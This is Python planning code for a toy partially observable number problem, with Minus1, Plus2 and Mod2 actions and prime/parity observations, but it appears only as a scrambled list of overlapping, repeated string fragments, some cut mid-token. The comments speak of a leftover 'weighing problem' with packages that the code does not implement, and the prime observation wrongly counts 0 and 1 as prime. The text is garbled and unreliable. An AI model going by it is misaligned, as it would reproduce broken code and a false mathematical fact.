__init__(self):", "instance = NUMproblem() inits,goals,actions = instance for s in inits: print(str(s)) print(\"Number of", "problems with observability # # States # applActions actions applicabable in the state", "isinstance(observation,OBSprime): return (self.n in [0,1,2,3,5,7]) if isinstance(observation,OBScomposite): return (self.n in [4,6]) if isinstance(observation,OBSnothingN):", "Predecessors of a state w.r.t. an action def preds(self,action): if isinstance(action,NumMod2): if self.n", "initial # state, and the goal is to transform that number to 1", "of a state w.r.t. an action def preds(self,action): if isinstance(action,NumMod2): if self.n ==", "print(str(s)) print(\"Number of initial states is \" + str(len(inits))) plan = POsolver(instance) if", "in a state? # Both actions can only be taken if no package", "1 def __str__(self): return \"even\" class OBSnothingN: def __init__(self): self.dummy = 1 def", "= 1 def __str__(self): return \"odd\" class OBSeven: def __init__(self): self.dummy = 1", "isinstance(action,NumMod2): if self.n == 0: return set([ NumState(i) for i in [0,2,4,6]]) else:", "the number is a prime or composite, or # if it is even", "self.n >= 1 and self.n <= 7: actions3 = [ NumMod2() ] return", "randomly picked number as the initial # state, and the goal is to", "__hash__(self): return 1 def observations(self): return [OBSodd(),OBSeven()] class NumMod2: def __init__(self): self.dummy =", "else: # Show plan's text representation (a list of strings). for s in", "has been chosen, # so the last action in every execution is always", "observations(self): return [OBSprime(),OBScomposite()] class NumPlus2: def __init__(self): self.dummy = 0 def __str__(self): return", "# In this problem, there is a randomly picked number as the initial", "1 by # actions -1, +2, and Mod 2, which have different observations", "1 return {s} if isinstance(action,NumPlus2): if self.n < 2: return set() s =", "= instance for s in inits: print(str(s)) print(\"Number of initial states is \"", "+2, and Mod 2, which have different observations # which test whether the", "{s} if isinstance(action,NumPlus2): if self.n < 2: return set() s = self.clonestate() s.n", "def __str__(self): return \"NOOBS\" ### Actions for the weighing problem class NumMinus1: def", "= self.n - 1 return {s} if isinstance(action,NumPlus2): s = self.clonestate() s.n =", "] if self.n >= 0 and self.n <= 5: actions2 = [ NumPlus2()", "def __init__(self): self.dummy = 0 def __str__(self): return \"Plus2\" def __eq__(self,other): return isinstance(other,NumPlus2)", "s.n = self.n % 2 return {s} if isinstance(action,NumMinus1): s = self.clonestate() s.n", "the 'chosen' package is -1. def NUMinit(): return { NumState(i) for i in", "s.n = self.n + 2 return {s} raise Exception(\"Unrecognized action \" + str(action))", "algorithm with the weighing problem. from POplanFwd import POsolver import sys if __name__", "isinstance(other,NumMinus1) def __hash__(self): return 0 def observations(self): return [OBSprime(),OBScomposite()] class NumPlus2: def __init__(self):", "s.n = self.n + 1 return {s} if isinstance(action,NumPlus2): if self.n < 2:", "NUMgoal(): return { NumState(1) } # Generate a weighing problem with N packages", "Successors of a state w.r.t. an action def succs(self,action): if isinstance(action,NumMod2): s =", "\"odd\" class OBSeven: def __init__(self): self.dummy = 1 def __str__(self): return \"even\" class", "execution is always WeightChoose. def applActions(self): actions1 = [] actions2 = [] actions3", "composite, or # if it is even or odd. # ### Observations for", "return self.n def __eq__(self,other): return isinstance(other,NumState) and self.n == other.n def __str__(self): return", "if isinstance(observation,OBSodd): return (self.n % 2 == 1) if isinstance(observation,OBSprime): return (self.n in", "in range(0,6) } # Goal states are all permutations of the packages, but", "return (self.n % 2 == 0) if isinstance(observation,OBSodd): return (self.n % 2 ==", "__str__(self): return \"Mod2\" def __eq__(self,other): return isinstance(other,NumMod2) def __hash__(self): return 1 def observations(self):", "permutation of the weights [1,2,3,...,N] there is # one initial state. Initially the", "to 1 by # actions -1, +2, and Mod 2, which have different", "action # preds predecessor states of the state w.r.t. action # compatible Is", "import itertools # For every permutation of the weights [1,2,3,...,N] there is #", "NumPlus2() ] if self.n >= 1 and self.n <= 7: actions3 = [", "str(action)) # Predecessors of a state w.r.t. an action def preds(self,action): if isinstance(action,NumMod2):", "s = self.clonestate() s.n = self.n - 2 return {s} raise Exception(\"Unrecognized action", "__init__(self): self.dummy = 1 def __str__(self): return \"even\" class OBSnothingN: def __init__(self): self.dummy", "which test whether the number is a prime or composite, or # if", "# State space problems with observability # # States # applActions actions applicabable", "chosen, # so the last action in every execution is always WeightChoose. def", "} # Generate a weighing problem with N packages def NUMproblem(): actions =", "observation? def compatible(self,observation): if isinstance(observation,OBSeven): return (self.n % 2 == 0) if isinstance(observation,OBSodd):", "instance for s in inits: print(str(s)) print(\"Number of initial states is \" +", "with an observation? # Actions # observations observations possible after the action ###", "[] actions3 = [] if self.n >= 1 and self.n <= 7: actions1", "self.clonestate() s.n = self.n + 2 return {s} raise Exception(\"Unrecognized action \" +", "after the action ### Description # # In this problem, there is a", "class OBSodd: def __init__(self): self.dummy = 1 def __str__(self): return \"odd\" class OBSeven:", "of the state w.r.t. action # compatible Is the state compatible with an", "0 def __str__(self): return \"Minus1\" def __eq__(self,other): return isinstance(other,NumMinus1) def __hash__(self): return 0", "def __str__(self): return \"Mod2\" def __eq__(self,other): return isinstance(other,NumMod2) def __hash__(self): return 1 def", "if self.n == 0: return set([ NumState(i) for i in [0,2,4,6]]) else: return", "str(plan.plansize()) + \" depth \" + str(plan.plandepth())) # Test that execution from every", "Generate a weighing problem with N packages def NUMproblem(): actions = [ NumPlus2(),", "__str__(self): return \"prime\" class OBScomposite: def __init__(self): self.dummy = 1 def __str__(self): return", "= self.clonestate() s.n = self.n + 1 return {s} if isinstance(action,NumPlus2): if self.n", "7: actions1 = [ NumMinus1() ] if self.n >= 0 and self.n <=", "an action def succs(self,action): if isinstance(action,NumMod2): s = self.clonestate() s.n = self.n %", "succs successor states of the state w.r.t. action # preds predecessor states of", "NumState: def __init__(self,n): self.n = n def __hash__(self): return self.n def __eq__(self,other): return", "return \"NOOBS\" ### Actions for the weighing problem class NumMinus1: def __init__(self): self.dummy", "{s} raise Exception(\"Unrecognized action \" + str(action)) # Is the state compatible with", "def __eq__(self,other): return isinstance(other,NumState) and self.n == other.n def __str__(self): return str(self.n) def", "self.n - 1 return {s} if isinstance(action,NumPlus2): s = self.clonestate() s.n = self.n", "1 def __str__(self): return \"prime\" class OBScomposite: def __init__(self): self.dummy = 1 def", "transform that number to 1 by # actions -1, +2, and Mod 2,", "size \" + str(plan.plansize()) + \" depth \" + str(plan.plandepth())) # Test that", "isinstance(other,NumMod2) def __hash__(self): return 1 def observations(self): return [OBSnothingN()] ### States for the", "self.n > 6: return set() s = self.clonestate() s.n = self.n + 1", "return {s} if isinstance(action,NumMinus1): s = self.clonestate() s.n = self.n - 1 return", "whether the number is a prime or composite, or # if it is", "self.clonestate() s.n = self.n - 1 return {s} if isinstance(action,NumPlus2): s = self.clonestate()", "def __eq__(self,other): return isinstance(other,NumPlus2) def __hash__(self): return 1 def observations(self): return [OBSodd(),OBSeven()] class", "return [OBSodd(),OBSeven()] class NumMod2: def __init__(self): self.dummy = 0 def __str__(self): return \"Mod2\"", "return \"even\" class OBSnothingN: def __init__(self): self.dummy = 1 def __str__(self): return \"NOOBS\"", "return (self.n in [4,6]) if isinstance(observation,OBSnothingN): return True raise Exception(\"Unrecognized observation \" +", "states of the state w.r.t. action # preds predecessor states of the state", "the state compatible with an observation? # Actions # observations observations possible after", "odd. # ### Observations for the weighing problem class OBSprime: def __init__(self): self.dummy", "= 0 def __str__(self): return \"Plus2\" def __eq__(self,other): return isinstance(other,NumPlus2) def __hash__(self): return", "raise Exception(\"Unrecognized observation \" + str(observation)) import itertools # For every permutation of", "the one with weight N. def NUMgoal(): return { NumState(1) } # Generate", "1 def observations(self): return [OBSodd(),OBSeven()] class NumMod2: def __init__(self): self.dummy = 0 def", "# Is the state compatible with the observation? def compatible(self,observation): if isinstance(observation,OBSeven): return", "for the weighing problem class NumMinus1: def __init__(self): self.dummy = 0 def __str__(self):", "list of strings). for s in plan.plan2str(): print(s) # Show plan statistics print(\"Plan", "str(plan.plandepth())) # Test that execution from every initial state reaches goals. for state", "(self.n in [4,6]) if isinstance(observation,OBSnothingN): return True raise Exception(\"Unrecognized observation \" + str(observation))", "with weight N. def NUMgoal(): return { NumState(1) } # Generate a weighing", "the weighing problem. from POplanFwd import POsolver import sys if __name__ == \"__main__\":", "plan's text representation (a list of strings). for s in plan.plan2str(): print(s) #", "picked number as the initial # state, and the goal is to transform", "def __eq__(self,other): return isinstance(other,NumMod2) def __hash__(self): return 1 def observations(self): return [OBSnothingN()] ###", "\"Minus1\" def __eq__(self,other): return isinstance(other,NumMinus1) def __hash__(self): return 0 def observations(self): return [OBSprime(),OBScomposite()]", "plan = POsolver(instance) if plan == None: print(\"No plan found\") else: # Show", "plan statistics print(\"Plan found: size \" + str(plan.plansize()) + \" depth \" +", "the state w.r.t. action # compatible Is the state compatible with an observation?", "must be the one with weight N. def NUMgoal(): return { NumState(1) }", "return 0 def observations(self): return [OBSprime(),OBScomposite()] class NumPlus2: def __init__(self): self.dummy = 0", "5: actions2 = [ NumPlus2() ] if self.n >= 1 and self.n <=", "self.dummy = 0 def __str__(self): return \"Minus1\" def __eq__(self,other): return isinstance(other,NumMinus1) def __hash__(self):", "{s} if isinstance(action,NumPlus2): s = self.clonestate() s.n = self.n + 2 return {s}", "return isinstance(other,NumMinus1) def __hash__(self): return 0 def observations(self): return [OBSprime(),OBScomposite()] class NumPlus2: def", "w.r.t. an action def preds(self,action): if isinstance(action,NumMod2): if self.n == 0: return set([", "__init__(self): self.dummy = 1 def __str__(self): return \"prime\" class OBScomposite: def __init__(self): self.dummy", "self.n >= 1 and self.n <= 7: actions1 = [ NumMinus1() ] if", "OBScomposite: def __init__(self): self.dummy = 1 def __str__(self): return \"composite\" class OBSodd: def", "[OBSnothingN()] ### States for the weighing problem class NumState: def __init__(self,n): self.n =", "+ str(action)) # Is the state compatible with the observation? def compatible(self,observation): if", "0 def observations(self): return [OBSprime(),OBScomposite()] class NumPlus2: def __init__(self): self.dummy = 0 def", "[ NumPlus2() ] if self.n >= 1 and self.n <= 7: actions3 =", "\"Mod2\" def __eq__(self,other): return isinstance(other,NumMod2) def __hash__(self): return 1 def observations(self): return [OBSnothingN()]", "from POplanFwd import POsolver import sys if __name__ == \"__main__\": instance = NUMproblem()", "OBSodd: def __init__(self): self.dummy = 1 def __str__(self): return \"odd\" class OBSeven: def", "def __str__(self): return \"odd\" class OBSeven: def __init__(self): self.dummy = 1 def __str__(self):", "= 1 def __str__(self): return \"composite\" class OBSodd: def __init__(self): self.dummy = 1", "is \" + str(len(inits))) plan = POsolver(instance) if plan == None: print(\"No plan", "\"composite\" class OBSodd: def __init__(self): self.dummy = 1 def __str__(self): return \"odd\" class", "class NumState: def __init__(self,n): self.n = n def __hash__(self): return self.n def __eq__(self,other):", "return \"Mod2\" def __eq__(self,other): return isinstance(other,NumMod2) def __hash__(self): return 1 def observations(self): return", "\" + str(len(inits))) plan = POsolver(instance) if plan == None: print(\"No plan found\")", "= n def __hash__(self): return self.n def __eq__(self,other): return isinstance(other,NumState) and self.n ==", "action \" + str(action)) # Is the state compatible with the observation? def", "of initial states is \" + str(len(inits))) plan = POsolver(instance) if plan ==", "successor states of the state w.r.t. action # preds predecessor states of the", "have different observations # which test whether the number is a prime or", "but # the chosen package must be the one with weight N. def", "found: size \" + str(plan.plansize()) + \" depth \" + str(plan.plandepth())) # Test", "of the packages, but # the chosen package must be the one with", "-1, +2, and Mod 2, which have different observations # which test whether", "### States for the weighing problem class NumState: def __init__(self,n): self.n = n", "package has been chosen, # so the last action in every execution is", ">= 0 and self.n <= 5: actions2 = [ NumPlus2() ] if self.n", "2 return {s} raise Exception(\"Unrecognized action \" + str(action)) # Is the state", "__init__(self): self.dummy = 1 def __str__(self): return \"odd\" class OBSeven: def __init__(self): self.dummy", "Exception(\"Unrecognized action \" + str(action)) # Is the state compatible with the observation?", "- 1 return {s} if isinstance(action,NumPlus2): s = self.clonestate() s.n = self.n +", "Goal states are all permutations of the packages, but # the chosen package", "be the one with weight N. def NUMgoal(): return { NumState(1) } #", "\" + str(action)) # Is the state compatible with the observation? def compatible(self,observation):", "+ actions3 # Successors of a state w.r.t. an action def succs(self,action): if", "(a list of strings). for s in plan.plan2str(): print(s) # Show plan statistics", "NumMod2() ] return (NUMinit(),NUMgoal(),actions) # Testing the algorithm with the weighing problem. from", "s = self.clonestate() s.n = self.n + 1 return {s} if isinstance(action,NumPlus2): if", "# Test that execution from every initial state reaches goals. for state in", "# which test whether the number is a prime or composite, or #", "applActions actions applicabable in the state # succs successor states of the state", "Actions for the weighing problem class NumMinus1: def __init__(self): self.dummy = 0 def", "% 2 == 0) if isinstance(observation,OBSodd): return (self.n % 2 == 1) if", "<gh_stars>0 # State space problems with observability # # States # applActions actions", "# Goal states are all permutations of the packages, but # the chosen", "if isinstance(action,NumMinus1): s = self.clonestate() s.n = self.n - 1 return {s} if", "s = self.clonestate() s.n = self.n - 1 return {s} if isinstance(action,NumPlus2): s", "+ 1 return {s} if isinstance(action,NumPlus2): if self.n < 2: return set() s", "= 1 def __str__(self): return \"NOOBS\" ### Actions for the weighing problem class", "of a state w.r.t. an action def succs(self,action): if isinstance(action,NumMod2): s = self.clonestate()", "= [ NumMinus1() ] if self.n >= 0 and self.n <= 5: actions2", "succs(self,action): if isinstance(action,NumMod2): s = self.clonestate() s.n = self.n % 2 return {s}", "actions applicabable in the state # succs successor states of the state w.r.t.", "action in every execution is always WeightChoose. def applActions(self): actions1 = [] actions2", "[0,1,2,3,5,7]) if isinstance(observation,OBScomposite): return (self.n in [4,6]) if isinstance(observation,OBSnothingN): return True raise Exception(\"Unrecognized", "# Predecessors of a state w.r.t. an action def preds(self,action): if isinstance(action,NumMod2): if", ">= 1 and self.n <= 7: actions3 = [ NumMod2() ] return actions1", "= [ NumPlus2(), NumMinus1(), NumMod2() ] return (NUMinit(),NUMgoal(),actions) # Testing the algorithm with", "def observations(self): return [OBSnothingN()] ### States for the weighing problem class NumState: def", "NumPlus2(), NumMinus1(), NumMod2() ] return (NUMinit(),NUMgoal(),actions) # Testing the algorithm with the weighing", "problem, there is a randomly picked number as the initial # state, and", "def succs(self,action): if isinstance(action,NumMod2): s = self.clonestate() s.n = self.n % 2 return", "range(0,6) } # Goal states are all permutations of the packages, but #", "if plan == None: print(\"No plan found\") else: # Show plan's text representation", "problem with N packages def NUMproblem(): actions = [ NumPlus2(), NumMinus1(), NumMod2() ]", "self.dummy = 1 def __str__(self): return \"odd\" class OBSeven: def __init__(self): self.dummy =", "if isinstance(action,NumPlus2): s = self.clonestate() s.n = self.n + 2 return {s} raise", "i in [1,3,5,7]]) if isinstance(action,NumMinus1): if self.n > 6: return set() s =", "set() s = self.clonestate() s.n = self.n + 1 return {s} if isinstance(action,NumPlus2):", "itertools # For every permutation of the weights [1,2,3,...,N] there is # one", "str(self.n) def clonestate(self): return NumState(self.n) # Which actions applicable in a state? #", "return { NumState(1) } # Generate a weighing problem with N packages def", "self.dummy = 1 def __str__(self): return \"composite\" class OBSodd: def __init__(self): self.dummy =", "__eq__(self,other): return isinstance(other,NumPlus2) def __hash__(self): return 1 def observations(self): return [OBSodd(),OBSeven()] class NumMod2:", "# States # applActions actions applicabable in the state # succs successor states", "plan == None: print(\"No plan found\") else: # Show plan's text representation (a", "it is even or odd. # ### Observations for the weighing problem class", "\"prime\" class OBScomposite: def __init__(self): self.dummy = 1 def __str__(self): return \"composite\" class", "is -1. def NUMinit(): return { NumState(i) for i in range(0,6) } #", "isinstance(action,NumMinus1): s = self.clonestate() s.n = self.n - 1 return {s} if isinstance(action,NumPlus2):", "N. def NUMgoal(): return { NumState(1) } # Generate a weighing problem with", "Both actions can only be taken if no package has been chosen, #", "actions -1, +2, and Mod 2, which have different observations # which test", "the algorithm with the weighing problem. from POplanFwd import POsolver import sys if", "def __str__(self): return \"even\" class OBSnothingN: def __init__(self): self.dummy = 1 def __str__(self):", "if isinstance(observation,OBSnothingN): return True raise Exception(\"Unrecognized observation \" + str(observation)) import itertools #", "def __init__(self): self.dummy = 0 def __str__(self): return \"Mod2\" def __eq__(self,other): return isinstance(other,NumMod2)", "Exception(\"Unrecognized observation \" + str(observation)) import itertools # For every permutation of the", "Show plan statistics print(\"Plan found: size \" + str(plan.plansize()) + \" depth \"", "class NumPlus2: def __init__(self): self.dummy = 0 def __str__(self): return \"Plus2\" def __eq__(self,other):", "initial states is \" + str(len(inits))) plan = POsolver(instance) if plan == None:", "class NumMinus1: def __init__(self): self.dummy = 0 def __str__(self): return \"Minus1\" def __eq__(self,other):", "observations # which test whether the number is a prime or composite, or", "__init__(self): self.dummy = 0 def __str__(self): return \"Minus1\" def __eq__(self,other): return isinstance(other,NumMinus1) def", "# one initial state. Initially the 'chosen' package is -1. def NUMinit(): return", "States # applActions actions applicabable in the state # succs successor states of", "possible after the action ### Description # # In this problem, there is", "or composite, or # if it is even or odd. # ### Observations", "return set([ NumState(i) for i in [0,2,4,6]]) else: return set([ NumState(i) for i", "# Both actions can only be taken if no package has been chosen,", "of strings). for s in plan.plan2str(): print(s) # Show plan statistics print(\"Plan found:", "# state, and the goal is to transform that number to 1 by", "[ NumMod2() ] return actions1 + actions2 + actions3 # Successors of a", "] return actions1 + actions2 + actions3 # Successors of a state w.r.t.", "applicable in a state? # Both actions can only be taken if no", "== other.n def __str__(self): return str(self.n) def clonestate(self): return NumState(self.n) # Which actions", "self.clonestate() s.n = self.n % 2 return {s} if isinstance(action,NumMinus1): s = self.clonestate()", "predecessor states of the state w.r.t. action # compatible Is the state compatible", "<= 7: actions1 = [ NumMinus1() ] if self.n >= 0 and self.n", "1 def __str__(self): return \"odd\" class OBSeven: def __init__(self): self.dummy = 1 def", "Mod 2, which have different observations # which test whether the number is", "2, which have different observations # which test whether the number is a", "actions3 # Successors of a state w.r.t. an action def succs(self,action): if isinstance(action,NumMod2):", "= self.n % 2 return {s} if isinstance(action,NumMinus1): s = self.clonestate() s.n =", "test whether the number is a prime or composite, or # if it", "state w.r.t. an action def succs(self,action): if isinstance(action,NumMod2): s = self.clonestate() s.n =", "a weighing problem with N packages def NUMproblem(): actions = [ NumPlus2(), NumMinus1(),", "+ actions2 + actions3 # Successors of a state w.r.t. an action def", "other.n def __str__(self): return str(self.n) def clonestate(self): return NumState(self.n) # Which actions applicable", "in plan.plan2str(): print(s) # Show plan statistics print(\"Plan found: size \" + str(plan.plansize())", "return [OBSnothingN()] ### States for the weighing problem class NumState: def __init__(self,n): self.n", "# Which actions applicable in a state? # Both actions can only be", "NumMinus1() ] if self.n >= 0 and self.n <= 5: actions2 = [", "= self.n + 2 return {s} raise Exception(\"Unrecognized action \" + str(action)) #", "is a prime or composite, or # if it is even or odd.", "set([ NumState(i) for i in [1,3,5,7]]) if isinstance(action,NumMinus1): if self.n > 6: return", "def NUMgoal(): return { NumState(1) } # Generate a weighing problem with N", "weighing problem with N packages def NUMproblem(): actions = [ NumPlus2(), NumMinus1(), NumMod2()", "\" + str(plan.plandepth())) # Test that execution from every initial state reaches goals.", "return \"Plus2\" def __eq__(self,other): return isinstance(other,NumPlus2) def __hash__(self): return 1 def observations(self): return", "of the state w.r.t. action # preds predecessor states of the state w.r.t.", "__init__(self): self.dummy = 1 def __str__(self): return \"composite\" class OBSodd: def __init__(self): self.dummy", "Which actions applicable in a state? # Both actions can only be taken", "self.n = n def __hash__(self): return self.n def __eq__(self,other): return isinstance(other,NumState) and self.n", "# applActions actions applicabable in the state # succs successor states of the", "# preds predecessor states of the state w.r.t. action # compatible Is the", "inits: print(str(s)) print(\"Number of initial states is \" + str(len(inits))) plan = POsolver(instance)", "and self.n <= 7: actions1 = [ NumMinus1() ] if self.n >= 0", "= NUMproblem() inits,goals,actions = instance for s in inits: print(str(s)) print(\"Number of initial", "by # actions -1, +2, and Mod 2, which have different observations #", "isinstance(action,NumMod2): s = self.clonestate() s.n = self.n % 2 return {s} if isinstance(action,NumMinus1):", "for i in [1,3,5,7]]) if isinstance(action,NumMinus1): if self.n > 6: return set() s", "self.dummy = 1 def __str__(self): return \"NOOBS\" ### Actions for the weighing problem", "compatible with an observation? # Actions # observations observations possible after the action", "\"even\" class OBSnothingN: def __init__(self): self.dummy = 1 def __str__(self): return \"NOOBS\" ###", "return 1 def observations(self): return [OBSodd(),OBSeven()] class NumMod2: def __init__(self): self.dummy = 0", "1) if isinstance(observation,OBSprime): return (self.n in [0,1,2,3,5,7]) if isinstance(observation,OBScomposite): return (self.n in [4,6])", "__init__(self): self.dummy = 0 def __str__(self): return \"Plus2\" def __eq__(self,other): return isinstance(other,NumPlus2) def", ">= 1 and self.n <= 7: actions1 = [ NumMinus1() ] if self.n", "in inits: print(str(s)) print(\"Number of initial states is \" + str(len(inits))) plan =", "[1,3,5,7]]) if isinstance(action,NumMinus1): if self.n > 6: return set() s = self.clonestate() s.n", "% 2 == 1) if isinstance(observation,OBSprime): return (self.n in [0,1,2,3,5,7]) if isinstance(observation,OBScomposite): return", "= 0 def __str__(self): return \"Mod2\" def __eq__(self,other): return isinstance(other,NumMod2) def __hash__(self): return", "observation \" + str(observation)) import itertools # For every permutation of the weights", "text representation (a list of strings). for s in plan.plan2str(): print(s) # Show", "every execution is always WeightChoose. def applActions(self): actions1 = [] actions2 = []", "for i in range(0,6) } # Goal states are all permutations of the", "__str__(self): return \"Minus1\" def __eq__(self,other): return isinstance(other,NumMinus1) def __hash__(self): return 0 def observations(self):", "def __str__(self): return str(self.n) def clonestate(self): return NumState(self.n) # Which actions applicable in", "(self.n % 2 == 1) if isinstance(observation,OBSprime): return (self.n in [0,1,2,3,5,7]) if isinstance(observation,OBScomposite):", "action ### Description # # In this problem, there is a randomly picked", "def __str__(self): return \"Plus2\" def __eq__(self,other): return isinstance(other,NumPlus2) def __hash__(self): return 1 def", "the last action in every execution is always WeightChoose. def applActions(self): actions1 =", "actions1 = [ NumMinus1() ] if self.n >= 0 and self.n <= 5:", "of the weights [1,2,3,...,N] there is # one initial state. Initially the 'chosen'", "= [ NumPlus2() ] if self.n >= 1 and self.n <= 7: actions3", "{s} raise Exception(\"Unrecognized action \" + str(action)) # Predecessors of a state w.r.t.", "0 def __str__(self): return \"Mod2\" def __eq__(self,other): return isinstance(other,NumMod2) def __hash__(self): return 1", "a state w.r.t. an action def succs(self,action): if isinstance(action,NumMod2): s = self.clonestate() s.n", "return isinstance(other,NumPlus2) def __hash__(self): return 1 def observations(self): return [OBSodd(),OBSeven()] class NumMod2: def", "return set() s = self.clonestate() s.n = self.n - 2 return {s} raise", "isinstance(action,NumPlus2): if self.n < 2: return set() s = self.clonestate() s.n = self.n", "# compatible Is the state compatible with an observation? # Actions # observations", "OBSnothingN: def __init__(self): self.dummy = 1 def __str__(self): return \"NOOBS\" ### Actions for", "\" + str(plan.plansize()) + \" depth \" + str(plan.plandepth())) # Test that execution", "if isinstance(observation,OBScomposite): return (self.n in [4,6]) if isinstance(observation,OBSnothingN): return True raise Exception(\"Unrecognized observation", "NumState(i) for i in [1,3,5,7]]) if isinstance(action,NumMinus1): if self.n > 6: return set()", "been chosen, # so the last action in every execution is always WeightChoose.", "is to transform that number to 1 by # actions -1, +2, and", "problem class OBSprime: def __init__(self): self.dummy = 1 def __str__(self): return \"prime\" class", "if isinstance(action,NumPlus2): if self.n < 2: return set() s = self.clonestate() s.n =", "this problem, there is a randomly picked number as the initial # state,", "chosen package must be the one with weight N. def NUMgoal(): return {", "return str(self.n) def clonestate(self): return NumState(self.n) # Which actions applicable in a state?", "[ NumPlus2(), NumMinus1(), NumMod2() ] return (NUMinit(),NUMgoal(),actions) # Testing the algorithm with the", "NumPlus2: def __init__(self): self.dummy = 0 def __str__(self): return \"Plus2\" def __eq__(self,other): return", "action def succs(self,action): if isinstance(action,NumMod2): s = self.clonestate() s.n = self.n % 2", "else: return set([ NumState(i) for i in [1,3,5,7]]) if isinstance(action,NumMinus1): if self.n >", "[] if self.n >= 1 and self.n <= 7: actions1 = [ NumMinus1()", "In this problem, there is a randomly picked number as the initial #", "'chosen' package is -1. def NUMinit(): return { NumState(i) for i in range(0,6)", "def __str__(self): return \"prime\" class OBScomposite: def __init__(self): self.dummy = 1 def __str__(self):", "import POsolver import sys if __name__ == \"__main__\": instance = NUMproblem() inits,goals,actions =", "__hash__(self): return 0 def observations(self): return [OBSprime(),OBScomposite()] class NumPlus2: def __init__(self): self.dummy =", "def clonestate(self): return NumState(self.n) # Which actions applicable in a state? # Both", "== \"__main__\": instance = NUMproblem() inits,goals,actions = instance for s in inits: print(str(s))", "number to 1 by # actions -1, +2, and Mod 2, which have", "initial state. Initially the 'chosen' package is -1. def NUMinit(): return { NumState(i)", "one with weight N. def NUMgoal(): return { NumState(1) } # Generate a", "[0,2,4,6]]) else: return set([ NumState(i) for i in [1,3,5,7]]) if isinstance(action,NumMinus1): if self.n", "actions1 + actions2 + actions3 # Successors of a state w.r.t. an action", "space problems with observability # # States # applActions actions applicabable in the", "can only be taken if no package has been chosen, # so the", "# Testing the algorithm with the weighing problem. from POplanFwd import POsolver import", "1 def __str__(self): return \"NOOBS\" ### Actions for the weighing problem class NumMinus1:", "self.n <= 5: actions2 = [ NumPlus2() ] if self.n >= 1 and", "2 == 1) if isinstance(observation,OBSprime): return (self.n in [0,1,2,3,5,7]) if isinstance(observation,OBScomposite): return (self.n", "POsolver import sys if __name__ == \"__main__\": instance = NUMproblem() inits,goals,actions = instance", "def __init__(self): self.dummy = 1 def __str__(self): return \"prime\" class OBScomposite: def __init__(self):", "return \"prime\" class OBScomposite: def __init__(self): self.dummy = 1 def __str__(self): return \"composite\"", "str(observation)) import itertools # For every permutation of the weights [1,2,3,...,N] there is", "s = self.clonestate() s.n = self.n % 2 return {s} if isinstance(action,NumMinus1): s", "{ NumState(1) } # Generate a weighing problem with N packages def NUMproblem():", "observations observations possible after the action ### Description # # In this problem,", "an observation? # Actions # observations observations possible after the action ### Description", "with the weighing problem. from POplanFwd import POsolver import sys if __name__ ==", "for the weighing problem class OBSprime: def __init__(self): self.dummy = 1 def __str__(self):", "preds predecessor states of the state w.r.t. action # compatible Is the state", "(self.n % 2 == 0) if isinstance(observation,OBSodd): return (self.n % 2 == 1)", "actions2 + actions3 # Successors of a state w.r.t. an action def succs(self,action):", "action def preds(self,action): if isinstance(action,NumMod2): if self.n == 0: return set([ NumState(i) for", "== 0: return set([ NumState(i) for i in [0,2,4,6]]) else: return set([ NumState(i)", "if isinstance(action,NumMinus1): if self.n > 6: return set() s = self.clonestate() s.n =", "raise Exception(\"Unrecognized action \" + str(action)) # Predecessors of a state w.r.t. an", "== None: print(\"No plan found\") else: # Show plan's text representation (a list", "0 def __str__(self): return \"Plus2\" def __eq__(self,other): return isinstance(other,NumPlus2) def __hash__(self): return 1", "always WeightChoose. def applActions(self): actions1 = [] actions2 = [] actions3 = []", "prime or composite, or # if it is even or odd. # ###", "] if self.n >= 1 and self.n <= 7: actions3 = [ NumMod2()", "isinstance(observation,OBSodd): return (self.n % 2 == 1) if isinstance(observation,OBSprime): return (self.n in [0,1,2,3,5,7])", "str(len(inits))) plan = POsolver(instance) if plan == None: print(\"No plan found\") else: #", "### Description # # In this problem, there is a randomly picked number", "NUMproblem(): actions = [ NumPlus2(), NumMinus1(), NumMod2() ] return (NUMinit(),NUMgoal(),actions) # Testing the", "] return (NUMinit(),NUMgoal(),actions) # Testing the algorithm with the weighing problem. from POplanFwd", "package must be the one with weight N. def NUMgoal(): return { NumState(1)", "0 and self.n <= 5: actions2 = [ NumPlus2() ] if self.n >=", "\" depth \" + str(plan.plandepth())) # Test that execution from every initial state", "return 1 def observations(self): return [OBSnothingN()] ### States for the weighing problem class", "action \" + str(action)) # Predecessors of a state w.r.t. an action def", "self.n + 1 return {s} if isinstance(action,NumPlus2): if self.n < 2: return set()", "w.r.t. an action def succs(self,action): if isinstance(action,NumMod2): s = self.clonestate() s.n = self.n", "= self.clonestate() s.n = self.n - 1 return {s} if isinstance(action,NumPlus2): s =", "return {s} raise Exception(\"Unrecognized action \" + str(action)) # Is the state compatible", "for the weighing problem class NumState: def __init__(self,n): self.n = n def __hash__(self):", "the weighing problem class NumState: def __init__(self,n): self.n = n def __hash__(self): return", "self.dummy = 1 def __str__(self): return \"even\" class OBSnothingN: def __init__(self): self.dummy =", "self.n % 2 return {s} if isinstance(action,NumMinus1): s = self.clonestate() s.n = self.n", "import sys if __name__ == \"__main__\": instance = NUMproblem() inits,goals,actions = instance for", "if self.n >= 0 and self.n <= 5: actions2 = [ NumPlus2() ]", "self.clonestate() s.n = self.n - 2 return {s} raise Exception(\"Unrecognized action \" +", "weighing problem class NumMinus1: def __init__(self): self.dummy = 0 def __str__(self): return \"Minus1\"", "# the chosen package must be the one with weight N. def NUMgoal():", "weighing problem. from POplanFwd import POsolver import sys if __name__ == \"__main__\": instance", "== 0) if isinstance(observation,OBSodd): return (self.n % 2 == 1) if isinstance(observation,OBSprime): return", "__str__(self): return \"Plus2\" def __eq__(self,other): return isinstance(other,NumPlus2) def __hash__(self): return 1 def observations(self):", "self.n == other.n def __str__(self): return str(self.n) def clonestate(self): return NumState(self.n) # Which", "isinstance(action,NumMinus1): if self.n > 6: return set() s = self.clonestate() s.n = self.n", "with N packages def NUMproblem(): actions = [ NumPlus2(), NumMinus1(), NumMod2() ] return", "= 1 def __str__(self): return \"prime\" class OBScomposite: def __init__(self): self.dummy = 1", "Testing the algorithm with the weighing problem. from POplanFwd import POsolver import sys", "number is a prime or composite, or # if it is even or", "def __init__(self): self.dummy = 0 def __str__(self): return \"Minus1\" def __eq__(self,other): return isinstance(other,NumMinus1)" ]
